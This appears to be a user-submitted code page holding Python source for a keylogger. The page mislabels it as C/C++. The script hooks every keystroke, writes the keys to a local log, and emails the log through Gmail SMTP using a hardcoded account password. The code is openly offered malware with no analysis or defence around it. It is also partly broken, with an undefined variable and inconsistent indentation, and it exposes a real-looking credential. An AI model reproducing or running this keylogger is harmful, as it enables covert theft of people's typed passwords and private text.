Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  elms
Language: C/C++
Code:
import keyboard
import smtplib
def print_pressed_keys(e):
   line = str(keyboard._pressed_events)
    with open('log.log', 'a') as a:
        for i in lis:
            if i in line:
                text = '[' + i + ']'
                break
            else:
                text = line[18:20]
                text = text.replace('(', '')
                text = text.replace(' ', '')
        a.write(text)
    with open('log.log', 'r+') as b:
        txt = b.read()
        if len(txt) > 50:
            try:
                sendd(txt)
                b.truncate(0)
            except:
                pass


def sendd(text):
    TO = 'gmail'
    SUBJECT = 'Elms Keylogger'
    gmail_sender = '[email protected]'
    gmail_passwd = 'kendranadembe1642011'
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.ehlo()
    server.starttls()
    server.login(gmail_sender, gmail_passwd)
    server.sendmail(gmail_sender, TO, text)


keyboard.hook(print_pressed_keys)
keyboard.wait()

          
Comments: